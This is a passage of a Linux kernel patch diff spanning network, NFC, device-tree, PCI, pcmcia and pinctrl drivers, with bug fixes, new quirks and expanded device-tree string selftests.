be->hotplug_script)) + return -ENOMEM; - if (!be || !be->vif) + if (!be->vif) return 0; return add_uevent_var(env, "vif=%s", be->vif->dev->name); diff --git a/drivers/net/xen-netfront.c b/drivers/net/xen-netfront.c index 82e0f1fd22542..a1db958df4a4b 100644 --- a/drivers/net/xen-netfront.c +++ b/drivers/net/xen-netfront.c @@ -459,9 +459,6 @@ static void xennet_make_frags(struct sk_buff *skb, struct net_device *dev, len = skb_frag_size(frag); offset = frag->page_offset; - /* Data must not cross a page boundary. */ - BUG_ON(len + offset > PAGE_SIZE<> PAGE_SHIFT; offset &= ~PAGE_MASK; @@ -469,8 +466,6 @@ static void xennet_make_frags(struct sk_buff *skb, struct net_device *dev, while (len > 0) { unsigned long bytes; - BUG_ON(offset >= PAGE_SIZE); - bytes = PAGE_SIZE - offset; if (bytes > len) bytes = len; diff --git a/drivers/nfc/microread/microread.c b/drivers/nfc/microread/microread.c index 3420d833db170..384ab8ca4b37f 100644 --- a/drivers/nfc/microread/microread.c +++ b/drivers/nfc/microread/microread.c @@ -501,9 +501,13 @@ static void microread_target_discovered(struct nfc_hci_dev *hdev, u8 gate, targets->sens_res = be16_to_cpu(*(u16 *)&skb->data[MICROREAD_EMCF_A_ATQA]); targets->sel_res = skb->data[MICROREAD_EMCF_A_SAK]; - memcpy(targets->nfcid1, &skb->data[MICROREAD_EMCF_A_UID], - skb->data[MICROREAD_EMCF_A_LEN]); targets->nfcid1_len = skb->data[MICROREAD_EMCF_A_LEN]; + if (targets->nfcid1_len > sizeof(targets->nfcid1)) { + r = -EINVAL; + goto exit_free; + } + memcpy(targets->nfcid1, &skb->data[MICROREAD_EMCF_A_UID], + targets->nfcid1_len); break; case MICROREAD_GATE_ID_MREAD_ISO_A_3: targets->supported_protocols = @@ -511,9 +515,13 @@ static void microread_target_discovered(struct nfc_hci_dev *hdev, u8 gate, targets->sens_res = be16_to_cpu(*(u16 *)&skb->data[MICROREAD_EMCF_A3_ATQA]); targets->sel_res = skb->data[MICROREAD_EMCF_A3_SAK]; - memcpy(targets->nfcid1, &skb->data[MICROREAD_EMCF_A3_UID], - skb->data[MICROREAD_EMCF_A3_LEN]); targets->nfcid1_len = skb->data[MICROREAD_EMCF_A3_LEN]; + if (targets->nfcid1_len > sizeof(targets->nfcid1)) { + r = -EINVAL; + goto exit_free; + } + memcpy(targets->nfcid1, &skb->data[MICROREAD_EMCF_A3_UID], + targets->nfcid1_len); break; case MICROREAD_GATE_ID_MREAD_ISO_B: targets->supported_protocols = NFC_PROTO_ISO14443_B_MASK; diff --git a/drivers/of/address.c b/drivers/of/address.c index 3c3db6d2d9bae..8b2baaf8bfa1c 100644 --- a/drivers/of/address.c +++ b/drivers/of/address.c @@ -334,6 +334,21 @@ static struct of_bus *of_match_bus(struct device_node *np) return NULL; } +static int of_empty_ranges_quirk(void) +{ + if (IS_ENABLED(CONFIG_PPC)) { + /* To save cycles, we cache the result */ + static int quirk_state = -1; + + if (quirk_state < 0) + quirk_state = + of_machine_is_compatible("Power Macintosh") || + of_machine_is_compatible("MacRISC"); + return quirk_state; + } + return false; +} + static int of_translate_one(struct device_node *parent, struct of_bus *bus, struct of_bus *pbus, __be32 *addr, int na, int ns, int pna, const char *rprop) @@ -359,12 +374,10 @@ static int of_translate_one(struct device_node *parent, struct of_bus *bus, * This code is only enabled on powerpc. --gcl */ ranges = of_get_property(parent, rprop, &rlen); -#if !defined(CONFIG_PPC) - if (ranges == NULL) { + if (ranges == NULL && !of_empty_ranges_quirk()) { pr_err("OF: no ranges; cannot translate\n"); return 1; } -#endif /* !defined(CONFIG_PPC) */ if (ranges == NULL || rlen == 0) { offset = of_read_number(addr, na); memset(addr, 0, pna * 4); @@ -632,10 +645,10 @@ struct device_node *of_find_matching_node_by_address(struct device_node *from, struct resource res; while (dn) { - if (of_address_to_resource(dn, 0, &res)) - continue; - if (res.start == base_address) + if (!of_address_to_resource(dn, 0, &res) && + res.start == base_address) return dn; + dn = of_find_matching_node(dn, matches); } diff --git a/drivers/of/base.c b/drivers/of/base.c index f24dca92ea432..072f6da5fb2e7 100644 --- a/drivers/of/base.c +++ b/drivers/of/base.c @@ -1057,52 +1057,6 @@ int of_property_read_string(struct device_node *np, const char *propname, } EXPORT_SYMBOL_GPL(of_property_read_string); -/** - * of_property_read_string_index - Find and read a string from a multiple - * strings property. - * @np: device node from which the property value is to be read. - * @propname: name of the property to be searched. - * @index: index of the string in the list of strings - * @out_string: pointer to null terminated return string, modified only if - * return value is 0. - * - * Search for a property in a device tree node and retrieve a null - * terminated string value (pointer to data, not a copy) in the list of strings - * contained in that property. - * Returns 0 on success, -EINVAL if the property does not exist, -ENODATA if - * property does not have a value, and -EILSEQ if the string is not - * null-terminated within the length of the property data. - * - * The out_string pointer is modified only if a valid string can be decoded. - */ -int of_property_read_string_index(struct device_node *np, const char *propname, - int index, const char **output) -{ - struct property *prop = of_find_property(np, propname, NULL); - int i = 0; - size_t l = 0, total = 0; - const char *p; - - if (!prop) - return -EINVAL; - if (!prop->value) - return -ENODATA; - if (strnlen(prop->value, prop->length) >= prop->length) - return -EILSEQ; - - p = prop->value; - - for (i = 0; total < prop->length; total += l, p += l) { - l = strlen(p) + 1; - if (i++ == index) { - *output = p; - return 0; - } - } - return -ENODATA; -} -EXPORT_SYMBOL_GPL(of_property_read_string_index); - /** * of_property_match_string() - Find string in a list and return index * @np: pointer to node containing string list property @@ -1129,7 +1083,7 @@ int of_property_match_string(struct device_node *np, const char *propname, end = p + prop->length; for (i = 0; p < end; i++, p += l) { - l = strlen(p) + 1; + l = strnlen(p, end - p) + 1; if (p + l > end) return -EILSEQ; pr_debug("comparing %s with %s\n", string, p); @@ -1141,39 +1095,41 @@ int of_property_match_string(struct device_node *np, const char *propname, EXPORT_SYMBOL_GPL(of_property_match_string); /** - * of_property_count_strings - Find and return the number of strings from a - * multiple strings property. + * of_property_read_string_util() - Utility helper for parsing string properties * @np: device node from which the property value is to be read. * @propname: name of the property to be searched. + * @out_strs: output array of string pointers. + * @sz: number of array elements to read. + * @skip: Number of strings to skip over at beginning of list. * - * Search for a property in a device tree node and retrieve the number of null - * terminated string contain in it. Returns the number of strings on - * success, -EINVAL if the property does not exist, -ENODATA if property - * does not have a value, and -EILSEQ if the string is not null-terminated - * within the length of the property data. + * Don't call this function directly. It is a utility helper for the + * of_property_read_string*() family of functions. */ -int of_property_count_strings(struct device_node *np, const char *propname) +int of_property_read_string_helper(struct device_node *np, const char *propname, + const char **out_strs, size_t sz, int skip) { struct property *prop = of_find_property(np, propname, NULL); - int i = 0; - size_t l = 0, total = 0; - const char *p; + int l = 0, i = 0; + const char *p, *end; if (!prop) return -EINVAL; if (!prop->value) return -ENODATA; - if (strnlen(prop->value, prop->length) >= prop->length) - return -EILSEQ; - p = prop->value; + end = p + prop->length; - for (i = 0; total < prop->length; total += l, p += l, i++) - l = strlen(p) + 1; - - return i; + for (i = 0; p < end && (!out_strs || i < skip + sz); i++, p += l) { + l = strnlen(p, end - p) + 1; + if (p + l > end) + return -EILSEQ; + if (out_strs && i >= skip) + *out_strs++ = p; + } + i -= skip; + return i <= 0 ? -ENODATA : i; } -EXPORT_SYMBOL_GPL(of_property_count_strings); +EXPORT_SYMBOL_GPL(of_property_read_string_helper); /** * of_parse_phandle - Resolve a phandle property to a device_node pointer diff --git a/drivers/of/selftest.c b/drivers/of/selftest.c index 0eb5c38b4e07a..f5e8dc7a725c2 100644 --- a/drivers/of/selftest.c +++ b/drivers/of/selftest.c @@ -126,8 +126,9 @@ static void __init of_selftest_parse_phandle_with_args(void) selftest(rc == -EINVAL, "expected:%i got:%i\n", -EINVAL, rc); } -static void __init of_selftest_property_match_string(void) +static void __init of_selftest_property_string(void) { + const char *strings[4]; struct device_node *np; int rc; @@ -145,13 +146,66 @@ static void __init of_selftest_property_match_string(void) rc = of_property_match_string(np, "phandle-list-names", "third"); selftest(rc == 2, "third expected:0 got:%i\n", rc); rc = of_property_match_string(np, "phandle-list-names", "fourth"); - selftest(rc == -ENODATA, "unmatched string; rc=%i", rc); + selftest(rc == -ENODATA, "unmatched string; rc=%i\n", rc); rc = of_property_match_string(np, "missing-property", "blah"); - selftest(rc == -EINVAL, "missing property; rc=%i", rc); + selftest(rc == -EINVAL, "missing property; rc=%i\n", rc); rc = of_property_match_string(np, "empty-property", "blah"); - selftest(rc == -ENODATA, "empty property; rc=%i", rc); + selftest(rc == -ENODATA, "empty property; rc=%i\n", rc); rc = of_property_match_string(np, "unterminated-string", "blah"); - selftest(rc == -EILSEQ, "unterminated string; rc=%i", rc); + selftest(rc == -EILSEQ, "unterminated string; rc=%i\n", rc); + + /* of_property_count_strings() tests */ + rc = of_property_count_strings(np, "string-property"); + selftest(rc == 1, "Incorrect string count; rc=%i\n", rc); + rc = of_property_count_strings(np, "phandle-list-names"); + selftest(rc == 3, "Incorrect string count; rc=%i\n", rc); + rc = of_property_count_strings(np, "unterminated-string"); + selftest(rc == -EILSEQ, "unterminated string; rc=%i\n", rc); + rc = of_property_count_strings(np, "unterminated-string-list"); + selftest(rc == -EILSEQ, "unterminated string array; rc=%i\n", rc); + + /* of_property_read_string_index() tests */ + rc = of_property_read_string_index(np, "string-property", 0, strings); + selftest(rc == 0 && !strcmp(strings[0], "foobar"), "of_property_read_string_index() failure; rc=%i\n", rc); + strings[0] = NULL; + rc = of_property_read_string_index(np, "string-property", 1, strings); + selftest(rc == -ENODATA && strings[0] == NULL, "of_property_read_string_index() failure; rc=%i\n", rc); + rc = of_property_read_string_index(np, "phandle-list-names", 0, strings); + selftest(rc == 0 && !strcmp(strings[0], "first"), "of_property_read_string_index() failure; rc=%i\n", rc); + rc = of_property_read_string_index(np, "phandle-list-names", 1, strings); + selftest(rc == 0 && !strcmp(strings[0], "second"), "of_property_read_string_index() failure; rc=%i\n", rc); + rc = of_property_read_string_index(np, "phandle-list-names", 2, strings); + selftest(rc == 0 && !strcmp(strings[0], "third"), "of_property_read_string_index() failure; rc=%i\n", rc); + strings[0] = NULL; + rc = of_property_read_string_index(np, "phandle-list-names", 3, strings); + selftest(rc == -ENODATA && strings[0] == NULL, "of_property_read_string_index() failure; rc=%i\n", rc); + strings[0] = NULL; + rc = of_property_read_string_index(np, "unterminated-string", 0, strings); + selftest(rc == -EILSEQ && strings[0] == NULL, "of_property_read_string_index() failure; rc=%i\n", rc); + rc = of_property_read_string_index(np, "unterminated-string-list", 0, strings); + selftest(rc == 0 && !strcmp(strings[0], "first"), "of_property_read_string_index() failure; rc=%i\n", rc); + strings[0] = NULL; + rc = of_property_read_string_index(np, "unterminated-string-list", 2, strings); /* should fail */ + selftest(rc == -EILSEQ && strings[0] == NULL, "of_property_read_string_index() failure; rc=%i\n", rc); + strings[1] = NULL; + + /* of_property_read_string_array() tests */ + rc = of_property_read_string_array(np, "string-property", strings, 4); + selftest(rc == 1, "Incorrect string count; rc=%i\n", rc); + rc = of_property_read_string_array(np, "phandle-list-names", strings, 4); + selftest(rc == 3, "Incorrect string count; rc=%i\n", rc); + rc = of_property_read_string_array(np, "unterminated-string", strings, 4); + selftest(rc == -EILSEQ, "unterminated string; rc=%i\n", rc); + /* -- An incorrectly formed string should cause a failure */ + rc = of_property_read_string_array(np, "unterminated-string-list", strings, 4); + selftest(rc == -EILSEQ, "unterminated string array; rc=%i\n", rc); + /* -- parsing the correctly formed strings should still work: */ + strings[2] = NULL; + rc = of_property_read_string_array(np, "unterminated-string-list", strings, 2); + selftest(rc == 2 && strings[2] == NULL, "of_property_read_string_array() failure; rc=%i\n", rc); + strings[1] = NULL; + rc = of_property_read_string_array(np, "phandle-list-names", strings, 1); + selftest(rc == 1 && strings[1] == NULL, "Overwrote end of string array; rc=%i, str='%s'\n", rc, strings[1]); } static int __init of_selftest(void) @@ -167,7 +221,7 @@ static int __init of_selftest(void) pr_info("start of selftest - you will see error messages\n"); of_selftest_parse_phandle_with_args(); - of_selftest_property_match_string(); + of_selftest_property_string(); pr_info("end of selftest - %s\n", selftest_passed ? "PASS" : "FAIL"); return 0; } diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h index 8c33491b21fe7..c6aa388834667 100644 --- a/drivers/parisc/iommu-helpers.h +++ b/drivers/parisc/iommu-helpers.h @@ -104,7 +104,11 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev, struct scatterlist *contig_sg; /* contig chunk head */ unsigned long dma_offset, dma_len; /* start/len of DMA stream */ unsigned int n_mappings = 0; - unsigned int max_seg_size = dma_get_max_seg_size(dev); + unsigned int max_seg_size = min(dma_get_max_seg_size(dev), + (unsigned)DMA_CHUNK_SIZE); + unsigned int max_seg_boundary = dma_get_seg_boundary(dev) + 1; + if (max_seg_boundary) /* check if the addition above didn't overflow */ + max_seg_size = min(max_seg_size, max_seg_boundary); while (nents > 0) { @@ -139,14 +143,11 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev, /* ** First make sure current dma stream won't - ** exceed DMA_CHUNK_SIZE if we coalesce the + ** exceed max_seg_size if we coalesce the ** next entry. */ - if(unlikely(ALIGN(dma_len + dma_offset + startsg->length, - IOVP_SIZE) > DMA_CHUNK_SIZE)) - break; - - if (startsg->length + dma_len > max_seg_size) + if (unlikely(ALIGN(dma_len + dma_offset + startsg->length, IOVP_SIZE) > + max_seg_size)) break; /* diff --git a/drivers/parport/Kconfig b/drivers/parport/Kconfig index a50576081b34d..46d2de24bf3e1 100644 --- a/drivers/parport/Kconfig +++ b/drivers/parport/Kconfig @@ -36,7 +36,9 @@ if PARPORT config PARPORT_PC tristate "PC-style hardware" depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && !S390 && \ - (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN && !XTENSA + (!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN && \ + !XTENSA && !CRIS && !H8300 && !ARM64 + ---help--- You should say Y here if you have a PC-style parallel port. All IBM PC compatible computers and some Alphas have PC-style diff --git a/drivers/pci/msi.c b/drivers/pci/msi.c index c30550e5f41b0..1d79c85c0ba1a 100644 --- a/drivers/pci/msi.c +++ b/drivers/pci/msi.c @@ -524,6 +524,20 @@ static int populate_msi_sysfs(struct pci_dev *pdev) return ret; } +static int msi_verify_entries(struct pci_dev *dev) +{ + struct msi_desc *entry; + + list_for_each_entry(entry, &dev->msi_list, list) { + if (!dev->no_64bit_msi || !entry->msg.address_hi) + continue; + dev_err(&dev->dev, "Device has broken 64-bit MSI but arch" + " tried to assign one above 4G\n"); + return -EIO; + } + return 0; +} + /** * msi_capability_init - configure device's MSI capability structure * @dev: pointer to the pci_dev data structure of MSI device function @@ -577,6 +591,13 @@ static int msi_capability_init(struct pci_dev *dev, int nvec) return ret; } + ret = msi_verify_entries(dev); + if (ret) { + msi_mask_irq(entry, mask, ~mask); + free_msi_irqs(dev); + return ret; + } + ret = populate_msi_sysfs(dev); if (ret) { msi_mask_irq(entry, mask, ~mask); @@ -692,6 +713,11 @@ static int msix_capability_init(struct pci_dev *dev, if (ret) goto error; + /* Check if all MSI entries honor device restrictions */ + ret = msi_verify_entries(dev); + if (ret) + goto error; + /* * Some devices require MSI-X to be enabled before we can touch the * MSI-X registers. We need to mask all the vectors to prevent diff --git a/drivers/pci/pci-driver.c b/drivers/pci/pci-driver.c index 66aabde827277..5548a13617ab1 100644 --- a/drivers/pci/pci-driver.c +++ b/drivers/pci/pci-driver.c @@ -1267,7 +1267,7 @@ static int pci_uevent(struct device *dev, struct kobj_uevent_env *env) if (add_uevent_var(env, "PCI_SLOT_NAME=%s", pci_name(pdev))) return -ENOMEM; - if (add_uevent_var(env, "MODALIAS=pci:v%08Xd%08Xsv%08Xsd%08Xbc%02Xsc%02Xi%02x", + if (add_uevent_var(env, "MODALIAS=pci:v%08Xd%08Xsv%08Xsd%08Xbc%02Xsc%02Xi%02X", pdev->vendor, pdev->device, pdev->subsystem_vendor, pdev->subsystem_device, (u8)(pdev->class >> 16), (u8)(pdev->class >> 8), diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c index 5b4a9d9cd200d..aee15ce8cfce0 100644 --- a/drivers/pci/pci-sysfs.c +++ b/drivers/pci/pci-sysfs.c @@ -175,7 +175,7 @@ static ssize_t modalias_show(struct device *dev, struct device_attribute *attr, { struct pci_dev *pci_dev = to_pci_dev(dev); - return sprintf(buf, "pci:v%08Xd%08Xsv%08Xsd%08Xbc%02Xsc%02Xi%02x\n", + return sprintf(buf, "pci:v%08Xd%08Xsv%08Xsd%08Xbc%02Xsc%02Xi%02X\n", pci_dev->vendor, pci_dev->device, pci_dev->subsystem_vendor, pci_dev->subsystem_device, (u8)(pci_dev->class >> 16), (u8)(pci_dev->class >> 8), @@ -1308,10 +1308,10 @@ int __must_check pci_create_sysfs_dev_files (struct pci_dev *pdev) if (!sysfs_initialized) return -EACCES; - if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) - retval = sysfs_create_bin_file(&pdev->dev.kobj, &pci_config_attr); - else + if (pdev->cfg_size > PCI_CFG_SPACE_SIZE) retval = sysfs_create_bin_file(&pdev->dev.kobj, &pcie_config_attr); + else + retval = sysfs_create_bin_file(&pdev->dev.kobj, &pci_config_attr); if (retval) goto err; @@ -1368,10 +1368,10 @@ int __must_check pci_create_sysfs_dev_files (struct pci_dev *pdev) err_resource_files: pci_remove_resource_files(pdev); err_config_file: - if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) - sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); - else + if (pdev->cfg_size > PCI_CFG_SPACE_SIZE) sysfs_remove_bin_file(&pdev->dev.kobj, &pcie_config_attr); + else + sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); err: return retval; } @@ -1405,10 +1405,10 @@ void pci_remove_sysfs_dev_files(struct pci_dev *pdev) pci_remove_capabilities_sysfs(pdev); - if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) - sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); - else + if (pdev->cfg_size > PCI_CFG_SPACE_SIZE) sysfs_remove_bin_file(&pdev->dev.kobj, &pcie_config_attr); + else + sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); pci_remove_resource_files(pdev); diff --git a/drivers/pci/pcie/aer/aerdrv.c b/drivers/pci/pcie/aer/aerdrv.c index 76ef634caf6f1..b84e713445d06 100644 --- a/drivers/pci/pcie/aer/aerdrv.c +++ b/drivers/pci/pcie/aer/aerdrv.c @@ -262,7 +262,6 @@ static struct aer_rpc *aer_alloc_rpc(struct pcie_device *dev) rpc->rpd = dev; INIT_WORK(&rpc->dpc_handler, aer_isr); mutex_init(&rpc->rpc_mutex); - init_waitqueue_head(&rpc->wait_release); /* Use PCIe bus function to store rpc into PCIe device */ set_service_data(dev, rpc); @@ -285,8 +284,7 @@ static void aer_remove(struct pcie_device *dev) if (rpc->isr) free_irq(dev->irq, dev); - wait_event(rpc->wait_release, rpc->prod_idx == rpc->cons_idx); - + flush_work(&rpc->dpc_handler); aer_disable_rootport(rpc); kfree(rpc); set_service_data(dev, NULL); diff --git a/drivers/pci/pcie/aer/aerdrv.h b/drivers/pci/pcie/aer/aerdrv.h index d12c77cd6991f..3b8766e1e51b4 100644 --- a/drivers/pci/pcie/aer/aerdrv.h +++ b/drivers/pci/pcie/aer/aerdrv.h @@ -76,7 +76,6 @@ struct aer_rpc { * recovery on the same * root port hierarchy */ - wait_queue_head_t wait_release; }; struct aer_broadcast_data { diff --git a/drivers/pci/pcie/aer/aerdrv_core.c b/drivers/pci/pcie/aer/aerdrv_core.c index 0f4554e48cc5f..a017aac0d7ed7 100644 --- a/drivers/pci/pcie/aer/aerdrv_core.c +++ b/drivers/pci/pcie/aer/aerdrv_core.c @@ -817,8 +817,6 @@ void aer_isr(struct work_struct *work) while (get_e_source(rpc, &e_src)) aer_isr_one_error(p_device, &e_src); mutex_unlock(&rpc->rpc_mutex); - - wake_up(&rpc->wait_release); } /** diff --git a/drivers/pci/probe.c b/drivers/pci/probe.c index ea37072e8bf2d..2d7cd0c080d3b 100644 --- a/drivers/pci/probe.c +++ b/drivers/pci/probe.c @@ -210,14 +210,17 @@ int __pci_read_base(struct pci_dev *dev, enum pci_bar_type type, res->flags |= IORESOURCE_SIZEALIGN; if (res->flags & IORESOURCE_IO) { l &= PCI_BASE_ADDRESS_IO_MASK; + sz &= PCI_BASE_ADDRESS_IO_MASK; mask = PCI_BASE_ADDRESS_IO_MASK & (u32) IO_SPACE_LIMIT; } else { l &= PCI_BASE_ADDRESS_MEM_MASK; + sz &= PCI_BASE_ADDRESS_MEM_MASK; mask = (u32)PCI_BASE_ADDRESS_MEM_MASK; } } else { res->flags |= (l & IORESOURCE_ROM_ENABLE); l &= PCI_ROM_ADDRESS_MASK; + sz &= PCI_ROM_ADDRESS_MASK; mask = (u32)PCI_ROM_ADDRESS_MASK; } @@ -289,6 +292,9 @@ static void pci_read_bases(struct pci_dev *dev, unsigned int howmany, int rom) { unsigned int pos, reg; + if (dev->non_compliant_bars) + return; + for (pos = 0; pos < howmany; pos++) { struct resource *res = &dev->resource[pos]; reg = PCI_BASE_ADDRESS_0 + (pos << 2); @@ -978,6 +984,7 @@ void set_pcie_hotplug_bridge(struct pci_dev *pdev) int pci_setup_device(struct pci_dev *dev) { u32 class; + u16 cmd; u8 hdr_type; struct pci_slot *slot; int pos = 0; @@ -1025,6 +1032,16 @@ int pci_setup_device(struct pci_dev *dev) /* device class may be changed after fixup */ class = dev->class >> 8; + if (dev->non_compliant_bars) { + pci_read_config_word(dev, PCI_COMMAND, &cmd); + if (cmd & (PCI_COMMAND_IO | PCI_COMMAND_MEMORY)) { + dev_info(&dev->dev, "device has non-compliant BARs; disabling IO/MEM decoding\n"); + cmd &= ~PCI_COMMAND_IO; + cmd &= ~PCI_COMMAND_MEMORY; + pci_write_config_word(dev, PCI_COMMAND, cmd); + } + } + switch (dev->hdr_type) { /* header type */ case PCI_HEADER_TYPE_NORMAL: /* standard header */ if (class == PCI_CLASS_BRIDGE_PCI) diff --git a/drivers/pci/quirks.c b/drivers/pci/quirks.c index 4510279e28dcc..a6637158d0780 100644 --- a/drivers/pci/quirks.c +++ b/drivers/pci/quirks.c @@ -28,6 +28,7 @@ #include #include #include +#include #include /* isa_dma_bridge_buggy */ #include "pci.h" @@ -291,6 +292,37 @@ static void quirk_citrine(struct pci_dev *dev) } DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_IBM, PCI_DEVICE_ID_IBM_CITRINE, quirk_citrine); +/* + * This chip can cause bus lockups if config addresses above 0x600 + * are read or written. + */ +static void quirk_nfp6000(struct pci_dev *dev) +{ + dev->cfg_size = 0x600; +} +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NETRONOME, PCI_DEVICE_ID_NETRONOME_NFP4000, quirk_nfp6000); +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NETRONOME, PCI_DEVICE_ID_NETRONOME_NFP6000, quirk_nfp6000); +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NETRONOME, PCI_DEVICE_ID_NETRONOME_NFP6000_VF, quirk_nfp6000); + +/* On IBM Crocodile ipr SAS adapters, expand BAR to system page size */ +static void quirk_extend_bar_to_page(struct pci_dev *dev) +{ + int i; + + for (i = 0; i < PCI_STD_RESOURCE_END; i++) { + struct resource *r = &dev->resource[i]; + + if (r->flags & IORESOURCE_MEM && resource_size(r) < PAGE_SIZE) { + r->end = PAGE_SIZE - 1; + r->start = 0; + r->flags |= IORESOURCE_UNSET; + dev_info(&dev->dev, "expanded BAR %d to page size: %pR\n", + i, r); + } + } +} +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_IBM, 0x034a, quirk_extend_bar_to_page); + /* * S3 868 and 968 chips report region size equal to 32M, but they decode 64M. * If it's needed, re-allocate the region. @@ -2776,12 +2808,15 @@ DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_INTEL, 0x3c28, vtd_mask_spec_errors); static void fixup_ti816x_class(struct pci_dev *dev) { + u32 class = dev->class; + /* TI 816x devices do not have class code set when in PCIe boot mode */ - dev_info(&dev->dev, "Setting PCI class for 816x PCIe device\n"); - dev->class = PCI_CLASS_MULTIMEDIA_VIDEO; + dev->class = PCI_CLASS_MULTIMEDIA_VIDEO << 8; + dev_info(&dev->dev, "PCI class overridden (%#08x -> %#08x)\n", + class, dev->class); } DECLARE_PCI_FIXUP_CLASS_EARLY(PCI_VENDOR_ID_TI, 0xb800, - PCI_CLASS_NOT_DEFINED, 0, fixup_ti816x_class); + PCI_CLASS_NOT_DEFINED, 0, fixup_ti816x_class); /* Some PCIe devices do not work reliably with the claimed maximum * payload size supported. diff --git a/drivers/pci/rom.c b/drivers/pci/rom.c index c5d0a08a87473..d6d499782fb43 100644 --- a/drivers/pci/rom.c +++ b/drivers/pci/rom.c @@ -69,6 +69,7 @@ size_t pci_get_rom_size(struct pci_dev *pdev, void __iomem *rom, size_t size) { void __iomem *image; int last_image; + unsigned length; image = rom; do { @@ -91,9 +92,9 @@ size_t pci_get_rom_size(struct pci_dev *pdev, void __iomem *rom, size_t size) if (readb(pds + 3) != 'R') break; last_image = readb(pds + 21) & 0x80; - /* this length is reliable */ - image += readw(pds + 16) * 512; - } while (!last_image); + length = readw(pds + 16); + image += length * 512; + } while (length && !last_image); /* never return a size larger than the PCI resource window */ /* there are known ROMs that get the size wrong */ diff --git a/drivers/pci/xen-pcifront.c b/drivers/pci/xen-pcifront.c index 0282f1fe9c425..74c5138dedf56 100644 --- a/drivers/pci/xen-pcifront.c +++ b/drivers/pci/xen-pcifront.c @@ -51,7 +51,7 @@ struct pcifront_device { }; struct pcifront_sd { - int domain; + struct pci_sysdata sd; struct pcifront_device *pdev; }; @@ -65,7 +65,9 @@ static inline void pcifront_init_sd(struct pcifront_sd *sd, unsigned int domain, unsigned int bus, struct pcifront_device *pdev) { - sd->domain = domain; + /* Because we do not expose that information via XenBus. */ + sd->sd.node = first_online_node; + sd->sd.domain = domain; sd->pdev = pdev; } @@ -463,8 +465,8 @@ static int pcifront_scan_root(struct pcifront_device *pdev, dev_info(&pdev->xdev->dev, "Creating PCI Frontend Bus %04x:%02x\n", domain, bus); - bus_entry = kmalloc(sizeof(*bus_entry), GFP_KERNEL); - sd = kmalloc(sizeof(*sd), GFP_KERNEL); + bus_entry = kzalloc(sizeof(*bus_entry), GFP_KERNEL); + sd = kzalloc(sizeof(*sd), GFP_KERNEL); if (!bus_entry || !sd) { err = -ENOMEM; goto err_out; diff --git a/drivers/pcmcia/topic.h b/drivers/pcmcia/topic.h index 615a45a8fe867..582688fe75054 100644 --- a/drivers/pcmcia/topic.h +++ b/drivers/pcmcia/topic.h @@ -104,6 +104,9 @@ #define TOPIC_EXCA_IF_CONTROL 0x3e /* 8 bit */ #define TOPIC_EXCA_IFC_33V_ENA 0x01 +#define TOPIC_PCI_CFG_PPBCN 0x3e /* 16-bit */ +#define TOPIC_PCI_CFG_PPBCN_WBEN 0x0400 + static void topic97_zoom_video(struct pcmcia_socket *sock, int onoff) { struct yenta_socket *socket = container_of(sock, struct yenta_socket, socket); @@ -138,6 +141,7 @@ static int topic97_override(struct yenta_socket *socket) static int topic95_override(struct yenta_socket *socket) { u8 fctrl; + u16 ppbcn; /* enable 3.3V support for 16bit cards */ fctrl = exca_readb(socket, TOPIC_EXCA_IF_CONTROL); @@ -146,6 +150,18 @@ static int topic95_override(struct yenta_socket *socket) /* tell yenta to use exca registers to power 16bit cards */ socket->flags |= YENTA_16BIT_POWER_EXCA | YENTA_16BIT_POWER_DF; + /* Disable write buffers to prevent lockups under load with numerous + Cardbus cards, observed on Tecra 500CDT and reported elsewhere on the + net. This is not a power-on default according to the datasheet + but some BIOSes seem to set it. */ + if (pci_read_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, &ppbcn) == 0 + && socket->dev->revision <= 7 + && (ppbcn & TOPIC_PCI_CFG_PPBCN_WBEN)) { + ppbcn &= ~TOPIC_PCI_CFG_PPBCN_WBEN; + pci_write_config_word(socket->dev, TOPIC_PCI_CFG_PPBCN, ppbcn); + dev_info(&socket->dev->dev, "Disabled ToPIC95 Cardbus write buffers.\n"); + } + return 0; } diff --git a/drivers/pinctrl/core.c b/drivers/pinctrl/core.c index f8b29a87cef0c..12fb998e12277 100644 --- a/drivers/pinctrl/core.c +++ b/drivers/pinctrl/core.c @@ -1692,14 +1692,15 @@ void pinctrl_unregister(struct pinctrl_dev *pctldev) if (pctldev == NULL) return; - mutex_lock(&pinctrldev_list_mutex); mutex_lock(&pctldev->mutex); - pinctrl_remove_device_debugfs(pctldev); + mutex_unlock(&pctldev->mutex); if (!IS_ERR(pctldev->p)) pinctrl_put(pctldev->p); + mutex_lock(&pinctrldev_list_mutex); + mutex_lock(&pctldev->mutex); /* TODO: check that no pinmuxes are still active? */ list_del(&pctldev->node); /* Destroy descriptor tree */ diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-370.c b/drivers/pinctrl/mvebu/pinctrl-armada-370.c index 48e21a2294830..c99e64ac8e082 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-370.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-370.c @@ -358,11 +358,11 @@ static struct mvebu_mpp_mode mv88f6710_mpp_modes[] = { MPP_MODE(64, MPP_FUNCTION(0x0, "gpio", NULL), MPP_FUNCTION(0x1, "spi0", "miso"), - MPP_FUNCTION(0x2, "spi0-1", "cs1")), + MPP_FUNCTION(0x2, "spi0", "cs1")), MPP_MODE(65, MPP_FUNCTION(0x0, "gpio", NULL), MPP_FUNCTION(0x1, "spi0", "mosi"), - 